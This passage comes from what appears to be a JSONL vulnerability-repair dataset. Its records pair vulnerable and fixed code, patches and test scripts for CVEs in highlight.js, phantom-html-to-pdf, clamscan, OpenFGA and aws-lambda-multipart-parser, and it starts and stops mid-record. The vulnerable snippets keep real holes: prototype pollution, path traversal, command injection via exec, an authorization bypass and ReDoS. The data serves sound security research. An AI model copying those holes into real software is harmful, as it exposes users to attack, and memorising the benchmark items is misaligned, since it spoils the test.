result.language);\n    }\n\n    function processBuffer() {\n      if (top.subLanguage != null) {\n        processSubLanguage();\n      } else {\n        processKeywords();\n      }\n      mode_buffer = '';\n    }\n\n    /**\n     * @param {Mode} mode - new mode to start\n     */\n    function startNewMode(mode) {\n      if (mode.className) {\n        emitter.openNode(mode.className);\n      }\n      top = Object.create(mode, { parent: { value: top } });\n      return top;\n    }\n\n    /**\n     * @param {CompiledMode } mode - the mode to potentially end\n     * @param {RegExpMatchArray} match - the latest match\n     * @param {string} matchPlusRemainder - match plus remainder of content\n     * @returns {CompiledMode | void} - the next mode, or if void continue on in current mode\n     */\n    function endOfMode(mode, match, matchPlusRemainder) {\n      let matched = regex.startsWith(mode.endRe, matchPlusRemainder);\n\n      if (matched) {\n        if (mode[\"on:end\"]) {\n          const resp = new Response(mode);\n          mode[\"on:end\"](match, resp);\n          if (resp.ignore) matched = false;\n        }\n\n        if (matched) {\n          while (mode.endsParent && mode.parent) {\n            mode = mode.parent;\n          }\n          return mode;\n        }\n      }\n      // even if on:end fires an `ignore` it's still possible\n      // that we might trigger the end node because of a parent mode\n      if (mode.endsWithParent) {\n        return endOfMode(mode.parent, match, matchPlusRemainder);\n      }\n    }\n\n    /**\n     * Handle matching but then ignoring a sequence of text\n     *\n     * @param {string} lexeme - string containing full match text\n     */\n    function doIgnore(lexeme) {\n      if (top.matcher.regexIndex === 0) {\n        // no more regexs to potentially match here, so we move the cursor forward one\n        // space\n        mode_buffer += lexeme[0];\n        return 1;\n      } else {\n        // no need to move the cursor, we still have additional regexes to try and\n        // match at this very spot\n        continueScanAtSamePosition = true;\n        return 0;\n      }\n    }\n\n    /**\n     * Handle the start of a new potential mode match\n     *\n     * @param {EnhancedMatch} match - the current match\n     * @returns {number} how far to advance the parse cursor\n     */\n    function doBeginMatch(match) {\n      var lexeme = match[0];\n      var new_mode = match.rule;\n\n      const resp = new Response(new_mode);\n      // first internal before callbacks, then the public ones\n      const beforeCallbacks = [new_mode.__beforeBegin, new_mode[\"on:begin\"]];\n      for (const cb of beforeCallbacks) {\n        if (!cb) continue;\n        cb(match, resp);\n        if (resp.ignore) return doIgnore(lexeme);\n      }\n\n      if (new_mode && new_mode.endSameAsBegin) {\n        new_mode.endRe = regex.escape(lexeme);\n      }\n\n      if (new_mode.skip) {\n        mode_buffer += lexeme;\n      } else {\n        if (new_mode.excludeBegin) {\n          mode_buffer += lexeme;\n        }\n        processBuffer();\n        if (!new_mode.returnBegin && !new_mode.excludeBegin) {\n          mode_buffer = lexeme;\n        }\n      }\n      startNewMode(new_mode);\n      // if (mode[\"after:begin\"]) {\n      //   let resp = new Response(mode);\n      //   mode[\"after:begin\"](match, resp);\n      // }\n      return new_mode.returnBegin ? 0 : lexeme.length;\n    }\n\n    /**\n     * Handle the potential end of mode\n     *\n     * @param {RegExpMatchArray} match - the current match\n     */\n    function doEndMatch(match) {\n      var lexeme = match[0];\n      var matchPlusRemainder = codeToHighlight.substr(match.index);\n\n      var end_mode = endOfMode(top, match, matchPlusRemainder);\n      if (!end_mode) { return NO_MATCH; }\n\n      var origin = top;\n      if (origin.skip) {\n        mode_buffer += lexeme;\n      } else {\n        if (!(origin.returnEnd || origin.excludeEnd)) {\n          mode_buffer += lexeme;\n        }\n        processBuffer();\n        if (origin.excludeEnd) {\n          mode_buffer = lexeme;\n        }\n      }\n      do {\n        if (top.className) {\n          emitter.closeNode();\n        }\n        if (!top.skip && !top.subLanguage) {\n          relevance += top.relevance;\n        }\n        top = top.parent;\n      } while (top !== end_mode.parent);\n      if (end_mode.starts) {\n        if (end_mode.endSameAsBegin) {\n          end_mode.starts.endRe = end_mode.endRe;\n        }\n        startNewMode(end_mode.starts);\n      }\n      return origin.returnEnd ? 0 : lexeme.length;\n    }\n\n    function processContinuations() {\n      var list = [];\n      for (var current = top; current !== language; current = current.parent) {\n        if (current.className) {\n          list.unshift(current.className);\n        }\n      }\n      list.forEach(item => emitter.openNode(item));\n    }\n\n    /** @type {{type?: MatchType, index?: number, rule?: Mode}}} */\n    var lastMatch = {};\n\n    /**\n     *  Process an individual match\n     *\n     * @param {string} textBeforeMatch - text preceeding the match (since the last match)\n     * @param {EnhancedMatch} [match] - the match itself\n     */\n    function processLexeme(textBeforeMatch, match) {\n      var lexeme = match && match[0];\n\n      // add non-matched text to the current mode buffer\n      mode_buffer += textBeforeMatch;\n\n      if (lexeme == null) {\n        processBuffer();\n        return 0;\n      }\n\n      // we've found a 0 width match and we're stuck, so we need to advance\n      // this happens when we have badly behaved rules that have optional matchers to the degree that\n      // sometimes they can end up matching nothing at all\n      // Ref: https://github.com/highlightjs/highlight.js/issues/2140\n      if (lastMatch.type === \"begin\" && match.type === \"end\" && lastMatch.index === match.index && lexeme === \"\") {\n        // spit the \"skipped\" character that our regex choked on back into the output sequence\n        mode_buffer += codeToHighlight.slice(match.index, match.index + 1);\n        if (!SAFE_MODE) {\n          /** @type {AnnotatedError} */\n          const err = new Error('0 width match regex');\n          err.languageName = languageName;\n          err.badRule = lastMatch.rule;\n          throw err;\n        }\n        return 1;\n      }\n      lastMatch = match;\n\n      if (match.type === \"begin\") {\n        return doBeginMatch(match);\n      } else if (match.type === \"illegal\" && !ignoreIllegals) {\n        // illegal match, we do not continue processing\n        /** @type {AnnotatedError} */\n        const err = new Error('Illegal lexeme \"' + lexeme + '\" for mode \"' + (top.className || '<unnamed>') + '\"');\n        err.mode = top;\n        throw err;\n      } else if (match.type === \"end\") {\n        var processed = doEndMatch(match);\n        if (processed !== NO_MATCH) {\n          return processed;\n        }\n      }\n\n      // edge case for when illegal matches $ (end of line) which is technically\n      // a 0 width match but not a begin/end match so it's not caught by the\n      // first handler (when ignoreIllegals is true)\n      if (match.type === \"illegal\" && lexeme === \"\") {\n        // advance so we aren't stuck in an infinite loop\n        return 1;\n      }\n\n      // infinite loops are BAD, this is a last ditch catch all. if we have a\n      // decent number of iterations yet our index (cursor position in our\n      // parsing) still 3x behind our index then something is very wrong\n      // so we bail\n      if (iterations > 100000 && iterations > match.index * 3) {\n        const err = new Error('potential infinite loop, way more iterations than matches');\n        throw err;\n      }\n\n      /*\n      Why might be find ourselves here?  Only one occasion now.  An end match that was\n      triggered but could not be completed.  When might this happen?  When an `endSameasBegin`\n      rule sets the end rule to a specific match.  Since the overall mode termination rule that's\n      being used to scan the text isn't recompiled that means that any match that LOOKS like\n      the end (but is not, because it is not an exact match to the beginning) will\n      end up here.  A definite end match, but when `doEndMatch` tries to \"reapply\"\n      the end rule and fails to match, we wind up here, and just silently ignore the end.\n\n      This causes no real harm other than stopping a few times too many.\n      */\n\n      mode_buffer += lexeme;\n      return lexeme.length;\n    }\n\n    var language = getLanguage(languageName);\n    if (!language) {\n      console.error(LANGUAGE_NOT_FOUND.replace(\"{}\", languageName));\n      throw new Error('Unknown language: \"' + languageName + '\"');\n    }\n\n    var md = compileLanguage(language);\n    var result = '';\n    /** @type {CompiledMode} */\n    var top = continuation || md;\n    /** @type Record<string,Mode> */\n    var continuations = {}; // keep continuations for sub-languages\n    var emitter = new options.__emitter(options);\n    processContinuations();\n    var mode_buffer = '';\n    var relevance = 0;\n    var index = 0;\n    var iterations = 0;\n    var continueScanAtSamePosition = false;\n\n    try {\n      top.matcher.considerAll();\n\n      for (;;) {\n        iterations++;\n        if (continueScanAtSamePosition) {\n          // only regexes not matched previously will now be\n          // considered for a potential match\n          continueScanAtSamePosition = false;\n        } else {\n          top.matcher.lastIndex = index;\n          top.matcher.considerAll();\n        }\n        const match = top.matcher.exec(codeToHighlight);\n        // console.log(\"match\", match[0], match.rule && match.rule.begin)\n        if (!match) break;\n\n        const beforeMatch = codeToHighlight.substring(index, match.index);\n        const processedCount = processLexeme(beforeMatch, match);\n        index = match.index + processedCount;\n      }\n      processLexeme(codeToHighlight.substr(index));\n      emitter.closeAllNodes();\n      emitter.finalize();\n      result = emitter.toHTML();\n\n      return {\n        relevance: relevance,\n        value: result,\n        language: languageName,\n        illegal: false,\n        emitter: emitter,\n        top: top\n      };\n    } catch (err) {\n      if (err.message && err.message.includes('Illegal')) {\n        return {\n          illegal: true,\n          illegalBy: {\n            msg: err.message,\n            context: codeToHighlight.slice(index - 100, index + 100),\n            mode: err.mode\n          },\n          sofar: result,\n          relevance: 0,\n          value: escape(codeToHighlight),\n          emitter: emitter\n        };\n      } else if (SAFE_MODE) {\n        return {\n          illegal: false,\n          relevance: 0,\n          value: escape(codeToHighlight),\n          emitter: emitter,\n          language: languageName,\n          top: top,\n          errorRaised: err\n        };\n      } else {\n        throw err;\n      }\n    }\n  }\n\n  /**\n   * returns a valid highlight result, without actually doing any actual work,\n   * auto highlight starts with this and it's possible for small snippets that\n   * auto-detection may not find a better match\n   * @param {string} code\n   * @returns {HighlightResult}\n   */\n  function justTextHighlightResult(code) {\n    const result = {\n      relevance: 0,\n      emitter: new options.__emitter(options),\n      value: escape(code),\n      illegal: false,\n      top: PLAINTEXT_LANGUAGE\n    };\n    result.emitter.addText(code);\n    return result;\n  }\n\n  /**\n  Highlighting with language detection. Accepts a string with the code to\n  highlight. Returns an object with the following properties:\n\n  - language (detected language)\n  - relevance (int)\n  - value (an HTML string with highlighting markup)\n  - second_best (object with the same structure for second-best heuristically\n    detected language, may be absent)\n\n    @param {string} code\n    @param {Array<string>} [languageSubset]\n    @returns {AutoHighlightResult}\n  */\n  function highlightAuto(code, languageSubset) {\n    languageSubset = languageSubset || options.languages || Object.keys(languages);\n    var result = justTextHighlightResult(code);\n    var secondBest = result;\n    languageSubset.filter(getLanguage).filter(autoDetection).forEach(function(name) {\n      var current = _highlight(name, code, false);\n      current.language = name;\n      if (current.relevance > secondBest.relevance) {\n        secondBest = current;\n      }\n      if (current.relevance > result.relevance) {\n        secondBest = result;\n        result = current;\n      }\n    });\n    if (secondBest.language) {\n      // second_best (with underscore) is the expected API\n      result.second_best = secondBest;\n    }\n    return result;\n  }\n\n  /**\n  Post-processing of the highlighted markup:\n\n  - replace TABs with something more useful\n  - replace real line-breaks with '<br>' for non-pre containers\n\n    @param {string} html\n    @returns {string}\n  */\n  function fixMarkup(html) {\n    if (!(options.tabReplace || options.useBR)) {\n      return html;\n    }\n\n    return html.replace(fixMarkupRe, match => {\n      if (match === '\\n') {\n        return options.useBR ? '<br>' : match;\n      } else if (options.tabReplace) {\n        return match.replace(/\\t/g, options.tabReplace);\n      }\n      return match;\n    });\n  }\n\n  /**\n   * Builds new class name for block given the language name\n   *\n   * @param {string} prevClassName\n   * @param {string} [currentLang]\n   * @param {string} [resultLang]\n   */\n  function buildClassName(prevClassName, currentLang, resultLang) {\n    var language = currentLang ? aliases[currentLang] : resultLang;\n    var result = [prevClassName.trim()];\n\n    if (!prevClassName.match(/\\bhljs\\b/)) {\n      result.push('hljs');\n    }\n\n    if (!prevClassName.includes(language)) {\n      result.push(language);\n    }\n\n    return result.join(' ').trim();\n  }\n\n  /**\n   * Applies highlighting to a DOM node containing code. Accepts a DOM node and\n   * two optional parameters for fixMarkup.\n   *\n   * @param {HighlightedHTMLElement} element - the HTML element to highlight\n  */\n  function highlightBlock(element) {\n    /** @type HTMLElement */\n    let node = null;\n    const language = blockLanguage(element);\n\n    if (shouldNotHighlight(language)) return;\n\n    fire(\"before:highlightBlock\",\n      { block: element, language: language });\n\n    if (options.useBR) {\n      node = document.createElement('div');\n      node.innerHTML = element.innerHTML.replace(/\\n/g, '').replace(/<br[ /]*>/g, '\\n');\n    } else {\n      node = element;\n    }\n    const text = node.textContent;\n    const result = language ? highlight(language, text, true) : highlightAuto(text);\n\n    const originalStream = nodeStream(node);\n    if (originalStream.length) {\n      const resultNode = document.createElement('div');\n      resultNode.innerHTML = result.value;\n      result.value = mergeStreams(originalStream, nodeStream(resultNode), text);\n    }\n    result.value = fixMarkup(result.value);\n\n    fire(\"after:highlightBlock\", { block: element, result: result });\n\n    element.innerHTML = result.value;\n    element.className = buildClassName(element.className, language, result.language);\n    element.result = {\n      language: result.language,\n      // TODO: remove with version 11.0\n      re: result.relevance,\n      relavance: result.relevance\n    };\n    if (result.second_best) {\n      element.second_best = {\n        language: result.second_best.language,\n        // TODO: remove with version 11.0\n        re: result.second_best.relevance,\n        relavance: result.second_best.relevance\n      };\n    }\n  }\n\n  /**\n   * Updates highlight.js global options with the passed options\n   *\n   * @param {{}} userOptions\n   */\n  function configure(userOptions) {\n    options = inherit(options, userOptions);\n  }\n\n  /**\n   * Highlights to all <pre><code> blocks on a page\n   *\n   * @type {Function & {called?: boolean}}\n   */\n  const initHighlighting = () => {\n    if (initHighlighting.called) return;\n    initHighlighting.called = true;\n\n    var blocks = document.querySelectorAll('pre code');\n    ArrayProto.forEach.call(blocks, highlightBlock);\n  };\n\n  // Higlights all when DOMContentLoaded fires\n  function initHighlightingOnLoad() {\n    // @ts-ignore\n    window.addEventListener('DOMContentLoaded', initHighlighting, false);\n  }\n\n  /**\n   * Register a language grammar module\n   *\n   * @param {string} languageName\n   * @param {LanguageFn} languageDefinition\n   */\n  function registerLanguage(languageName, languageDefinition) {\n    var lang = null;\n    try {\n      lang = languageDefinition(hljs);\n    } catch (error) {\n      console.error(\"Language definition for '{}' could not be registered.\".replace(\"{}\", languageName));\n      // hard or soft error\n      if (!SAFE_MODE) { throw error; } else { console.error(error); }\n      // languages that have serious errors are replaced with essentially a\n      // \"plaintext\" stand-in so that the code blocks will still get normal\n      // css classes applied to them - and one bad language won't break the\n      // entire highlighter\n      lang = PLAINTEXT_LANGUAGE;\n    }\n    // give it a temporary name if it doesn't have one in the meta-data\n    if (!lang.name) lang.name = languageName;\n    languages[languageName] = lang;\n    lang.rawDefinition = languageDefinition.bind(null, hljs);\n\n    if (lang.aliases) {\n      registerAliases(lang.aliases, { languageName });\n    }\n  }\n\n  /**\n   * @returns {string[]} List of language internal names\n   */\n  function listLanguages() {\n    return Object.keys(languages);\n  }\n\n  /**\n    intended usage: When one language truly requires another\n\n    Unlike `getLanguage`, this will throw when the requested language\n    is not available.\n\n    @param {string} name - name of the language to fetch/require\n    @returns {Language | never}\n  */\n  function requireLanguage(name) {\n    var lang = getLanguage(name);\n    if (lang) { return lang; }\n\n    var err = new Error('The \\'{}\\' language is required, but not loaded.'.replace('{}', name));\n    throw err;\n  }\n\n  /**\n   * @param {string} name - name of the language to retrieve\n   * @returns {Language | undefined}\n   */\n  function getLanguage(name) {\n    name = (name || '').toLowerCase();\n    return languages[name] || languages[aliases[name]];\n  }\n\n  /**\n   *\n   * @param {string|string[]} aliasList - single alias or list of aliases\n   * @param {{languageName: string}} opts\n   */\n  function registerAliases(aliasList, { languageName }) {\n    if (typeof aliasList === 'string') {\n      aliasList = [aliasList];\n    }\n    aliasList.forEach(alias => { aliases[alias] = languageName; });\n  }\n\n  /**\n   * Determines if a given language has auto-detection enabled\n   * @param {string} name - name of the language\n   */\n  function autoDetection(name) {\n    var lang = getLanguage(name);\n    return lang && !lang.disableAutodetect;\n  }\n\n  /**\n   * @param {HLJSPlugin} plugin\n   */\n  function addPlugin(plugin) {\n    plugins.push(plugin);\n  }\n\n  /**\n   *\n   * @param {PluginEvent} event\n   * @param {any} args\n   */\n  function fire(event, args) {\n    var cb = event;\n    plugins.forEach(function(plugin) {\n      if (plugin[cb]) {\n        plugin[cb](args);\n      }\n    });\n  }\n\n  /* Interface definition */\n\n  Object.assign(hljs, {\n    highlight,\n    highlightAuto,\n    fixMarkup,\n    highlightBlock,\n    configure,\n    initHighlighting,\n    initHighlightingOnLoad,\n    registerLanguage,\n    listLanguages,\n    getLanguage,\n    registerAliases,\n    requireLanguage,\n    autoDetection,\n    inherit,\n    addPlugin\n  });\n\n  hljs.debugMode = function() { SAFE_MODE = false; };\n  hljs.safeMode = function() { SAFE_MODE = true; };\n  hljs.versionString = packageJSON.version;\n\n  for (const key in MODES) {\n    // @ts-ignore\n    if (typeof MODES[key] === \"object\") {\n      // @ts-ignore\n      deepFreeze(MODES[key]);\n    }\n  }\n\n  // merge all the modes/regexs into our main object\n  Object.assign(hljs, MODES);\n\n  return hljs;\n};"}], "vul_patch": "--- a/src/highlight.js\n+++ b/src/highlight.js\n@@ -5,9 +5,9 @@\n \n   // Global internal variables used within the highlight.js library.\n   /** @type {Record<string, Language>} */\n-  var languages = {};\n+  var languages = Object.create(null);\n   /** @type {Record<string, string>} */\n-  var aliases = {};\n+  var aliases = Object.create(null);\n   /** @type {HLJSPlugin[]} */\n   var plugins = [];\n \n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-26237:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/highlight.js\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnode ./tools/build.js -t node && npx mocha --grep \"should not succeed for __proto__\"\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-26237:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/highlight.js\ngit apply --whitespace=nowarn /workspace/fix.patch\nnode ./tools/build.js -t node && npx mocha --timeout 3000 test/api/getLanguage.js\n"}
{"cve_id": "CVE-2020-7763", "cve_description": "This affects the package phantom-html-to-pdf before 0.6.1.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/pofider/phantom-html-to-pdf", "patch_url": ["https://github.com/pofider/phantom-html-to-pdf/commit/b5d2da2639a49a95e0bdb3bc0c987cb6406b8259"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_124_1", "commit": "c1c4d4d", "file_path": "lib/scripts/conversionScriptPart.js", "start_line": 18, "end_line": 38, "snippet": "page.onResourceRequested = function (request, networkRequest) {\n    console.log('Request ' + request.url);\n    if (request.url.lastIndexOf(body.url, 0) === 0) {\n        return;\n    }\n\n    //potentially dangerous request\n    if (request.url.lastIndexOf(\"file:///\", 0) === 0 && !body.allowLocalFilesAccess) {\n        networkRequest.abort();\n        return;\n    }\n\n    //to support cdn like format //cdn.jquery...\n    if (request.url.lastIndexOf(\"file://\", 0) === 0 && request.url.lastIndexOf(\"file:///\", 0) !== 0) {\n        networkRequest.changeUrl(request.url.replace(\"file://\", \"http://\"));\n    }\n\n    if (body.waitForJS && request.url.lastIndexOf(\"http://intruct-javascript-ending\", 0) === 0) {\n        pageJSisDone = true;\n    }\n};"}], "fix_func": [{"id": "fix_js_124_1", "commit": "b5d2da2", "file_path": "lib/scripts/conversionScriptPart.js", "start_line": 18, "end_line": 38, "snippet": "page.onResourceRequested = function (request, networkRequest) {\n    console.log('Request ' + request.url);\n    if (request.url.lastIndexOf(body.url, 0) === 0) {\n        return;\n    }   \n\n    //to support cdn like format //cdn.jquery...\n    if (request.url.lastIndexOf(\"file://\", 0) === 0 && request.url.lastIndexOf(\"file:///\", 0) !== 0) {\n        networkRequest.changeUrl(request.url.replace(\"file://\", \"http://\"));\n    }\n\n     //potentially dangerous request\n     if (request.url.lastIndexOf(\"http://\", 0) !== 0 && request.url.lastIndexOf(\"https://\", 0) && !body.allowLocalFilesAccess) {\n        networkRequest.abort();\n        return;\n    }\n\n    if (body.waitForJS && request.url.lastIndexOf(\"http://intruct-javascript-ending\", 0) === 0) {\n        pageJSisDone = true;\n    }\n};"}], "vul_patch": "--- a/lib/scripts/conversionScriptPart.js\n+++ b/lib/scripts/conversionScriptPart.js\n@@ -2,19 +2,19 @@\n     console.log('Request ' + request.url);\n     if (request.url.lastIndexOf(body.url, 0) === 0) {\n         return;\n-    }\n-\n-    //potentially dangerous request\n-    if (request.url.lastIndexOf(\"file:///\", 0) === 0 && !body.allowLocalFilesAccess) {\n-        networkRequest.abort();\n-        return;\n-    }\n+    }   \n \n     //to support cdn like format //cdn.jquery...\n     if (request.url.lastIndexOf(\"file://\", 0) === 0 && request.url.lastIndexOf(\"file:///\", 0) !== 0) {\n         networkRequest.changeUrl(request.url.replace(\"file://\", \"http://\"));\n     }\n \n+     //potentially dangerous request\n+     if (request.url.lastIndexOf(\"http://\", 0) !== 0 && request.url.lastIndexOf(\"https://\", 0) && !body.allowLocalFilesAccess) {\n+        networkRequest.abort();\n+        return;\n+    }\n+\n     if (body.waitForJS && request.url.lastIndexOf(\"http://intruct-javascript-ending\", 0) === 0) {\n         pageJSisDone = true;\n     }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-7613", "cve_description": "clamscan through 1.2.0 is vulnerable to Command Injection. It is possible to inject arbitrary commands as part of the `_is_clamav_binary` function located within `Index.js`. It should be noted that this vulnerability requires a pre-requisite that a folder should be created with the same command that will be chained to execute. This lowers the risk of this issue.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/kylefarris/clamscan", "patch_url": ["https://github.com/kylefarris/clamscan/commit/5f557c970817fe8c578ec3f7ad3bcbcef4cf5538"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_23_1", "commit": "d474da7", "file_path": "index.js", "start_line": 480, "end_line": 505, "snippet": "    async _is_clamav_binary(scanner) {\n        const path = this.settings[scanner].path || null;\n        if (!path) {\n            if (this.settings.debug_mode) console.log(`${this.debug_label}: Could not determine path for clamav binary.`);\n            return false;\n        }\n\n        const version_cmds = {\n            clamdscan: `${path} --version`,\n            clamscan: `${path} --version`,\n        };\n\n        try {\n            await fs_access(path, fs.constants.R_OK);\n\n            const {stdout} = await cp_exec(version_cmds[scanner]);\n            if (stdout.toString().match(/ClamAV/) === null) {\n                if (this.settings.debug_mode) console.log(`${this.debug_label}: Could not verify the ${scanner} binary.`);\n                return false;\n            }\n            return true;\n        } catch (err) {\n            if (this.settings.debug_mode) console.log(`${this.debug_label}: Could not verify the ${scanner} binary.`);\n            return false;\n        }\n    }"}], "fix_func": [{"id": "fix_js_23_1", "commit": "5f557c970817fe8c578ec3f7ad3bcbcef4cf5538", "file_path": "index.js", "start_line": 480, "end_line": 505, "snippet": "    async _is_clamav_binary(scanner) {\n        const path = this.settings[scanner].path || null;\n        if (!path) {\n            if (this.settings.debug_mode) console.log(`${this.debug_label}: Could not determine path for clamav binary.`);\n            return false;\n        }\n\n        const version_cmds = {\n            clamdscan: `${path} --version`,\n            clamscan: `${path} --version`,\n        };\n\n        try {\n            await fs_access(path, fs.constants.R_OK);\n            version_cmds_exec = version_cmds[scanner].split(' ');\n            const {stdout} = await cp_execfile(version_cmds_exec[0], [version_cmds_exec[1]]);\n            if (stdout.toString().match(/ClamAV/) === null) {\n                if (this.settings.debug_mode) console.log(`${this.debug_label}: Could not verify the ${scanner} binary.`);\n                return false;\n            }\n            return true;\n        } catch (err) {\n            if (this.settings.debug_mode) console.log(`${this.debug_label}: Could not verify the ${scanner} binary.`);\n            return false;\n        }\n    }"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -12,8 +12,8 @@\n \n         try {\n             await fs_access(path, fs.constants.R_OK);\n-\n-            const {stdout} = await cp_exec(version_cmds[scanner]);\n+            version_cmds_exec = version_cmds[scanner].split(' ');\n+            const {stdout} = await cp_execfile(version_cmds_exec[0], [version_cmds_exec[1]]);\n             if (stdout.toString().match(/ClamAV/) === null) {\n                 if (this.settings.debug_mode) console.log(`${this.debug_label}: Could not verify the ${scanner} binary.`);\n                 return false;\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-7613:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/clamscan\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\njest ./poc\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-7613:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/clamscan\ngit apply --whitespace=nowarn /workspace/fix.patch  /workspace/test.patch \nnpx mocha tests/**/*.js   --grep \"should exist|should be a function|should return an object|should not be initialized immediately|should have certain config properties defined|should have the proper global default values set|should have the proper clamscan default values set|should have the proper clamdscan default values set|should accept an options array and merge them with the object defa|should return er|should return true for valid clamscan binary|should return false for invalid clamscan binary\""}
{"cve_id": "CVE-2022-23542", "cve_description": "OpenFGA is an authorization/permission engine built for developers and inspired by Google Zanzibar. During an internal security assessment, it was discovered that OpenFGA version 0.3.0 is vulnerable to authorization bypass under certain conditions. This issue has been patched in version 0.3.1 and is backward compatible.\n\n", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}}, "repo": "https://github.com/openfga/openfga", "patch_url": ["https://github.com/openfga/openfga/commit/cdf2c76ea34b33a9e37d6be516706ef8bf865782"], "programing_language": "Go", "vul_func": [{"id": "vul_go_59_2", "commit": "58dbe66", "file_path": "server/commands/check_utils.go", "start_line": 338, "end_line": 349, "snippet": "func (rc *resolutionContext) readUserTuple(ctx context.Context, backend storage.TupleBackend) (*openfgapb.TupleKey, error) {\n\ttk, ok := rc.contextualTuples.ReadUserTuple(rc.tk)\n\tif ok {\n\t\treturn tk, nil\n\t}\n\n\ttuple, err := backend.ReadUserTuple(ctx, rc.store, rc.tk)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn tuple.GetKey(), nil\n}"}], "fix_func": [{"id": "fix_go_59_2", "commit": "cdf2c76", "file_path": "server/commands/check_utils.go", "start_line": 339, "end_line": 363, "snippet": "func (rc *resolutionContext) readUserTuple(ctx context.Context, backend storage.TupleBackend) (*openfgapb.TupleKey, error) {\n\n\ttypesys := typesystem.New(rc.model)\n\n\ttk, ok := rc.contextualTuples.ReadUserTuple(rc.tk)\n\n\tif tk != nil {\n\t\terr := validation.ValidateTuple(typesys, tk)\n\t\tif err == nil && ok {\n\t\t\treturn tk, nil\n\t\t}\n\t}\n\n\ttuple, err := backend.ReadUserTuple(ctx, rc.store, rc.tk)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttk = tuple.GetKey()\n\tif err := validation.ValidateTuple(typesys, tk); err != nil {\n\t\treturn nil, nil\n\t}\n\n\treturn tk, nil\n}"}], "vul_patch": "--- a/server/commands/check_utils.go\n+++ b/server/commands/check_utils.go\n@@ -1,12 +1,25 @@\n func (rc *resolutionContext) readUserTuple(ctx context.Context, backend storage.TupleBackend) (*openfgapb.TupleKey, error) {\n+\n+\ttypesys := typesystem.New(rc.model)\n+\n \ttk, ok := rc.contextualTuples.ReadUserTuple(rc.tk)\n-\tif ok {\n-\t\treturn tk, nil\n+\n+\tif tk != nil {\n+\t\terr := validation.ValidateTuple(typesys, tk)\n+\t\tif err == nil && ok {\n+\t\t\treturn tk, nil\n+\t\t}\n \t}\n \n \ttuple, err := backend.ReadUserTuple(ctx, rc.store, rc.tk)\n \tif err != nil {\n \t\treturn nil, err\n \t}\n-\treturn tuple.GetKey(), nil\n+\n+\ttk = tuple.GetKey()\n+\tif err := validation.ValidateTuple(typesys, tk); err != nil {\n+\t\treturn nil, nil\n+\t}\n+\n+\treturn tk, nil\n }\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-23542:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/openfga\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ncd ./tests/check && go test  -timeout 30s -run ^TestCheckMemory$ github.com/openfga/openfga/tests/check\n", "unit_test_cmd": null}
{"cve_id": "CVE-2018-7560", "cve_description": "index.js in the Anton Myshenin aws-lambda-multipart-parser NPM package before 0.1.2 has a Regular Expression Denial of Service (ReDoS) issue via a crafted multipart/form-data boundary string.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/myshenin/aws-lambda-multipart-parser", "patch_url": ["https://github.com/myshenin/aws-lambda-multipart-parser/commit/56ccb03af4dddebc2b2defb348b6558783d5757e"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_208_1", "commit": "573ade8", "file_path": "index.js", "start_line": 1, "end_line": 55, "snippet": "function getValueIgnoringKeyCase(obj, lookedKey) {\n    return Object.keys(obj)\n        .map(presentKey => presentKey.toLowerCase() === lookedKey.toLowerCase() ? obj[presentKey] : null)\n        .filter(item => item)[0];\n}\n\nmodule.exports.parse = (event, spotText) => {\n    const boundary = getValueIgnoringKeyCase(event.headers, 'Content-Type').split('=')[1];\n    const body = (event.isBase64Encoded ? Buffer.from(event.body, 'base64').toString('binary') : event.body)\n        .split(new RegExp(boundary))\n        .filter(item => item.match(/Content-Disposition/))\n        .map((item) => {\n            if (item.match(/filename/)) {\n                const result = {};\n                result[\n                    item\n                        .match(/name=\"[a-zA-Z_]+([a-zA-Z0-9_]*)\"/)[0]\n                        .split('=')[1]\n                        .match(/[a-zA-Z_]+([a-zA-Z0-9_]*)/)[0]\n                ] = {\n                        type: 'file',\n                        filename: item\n  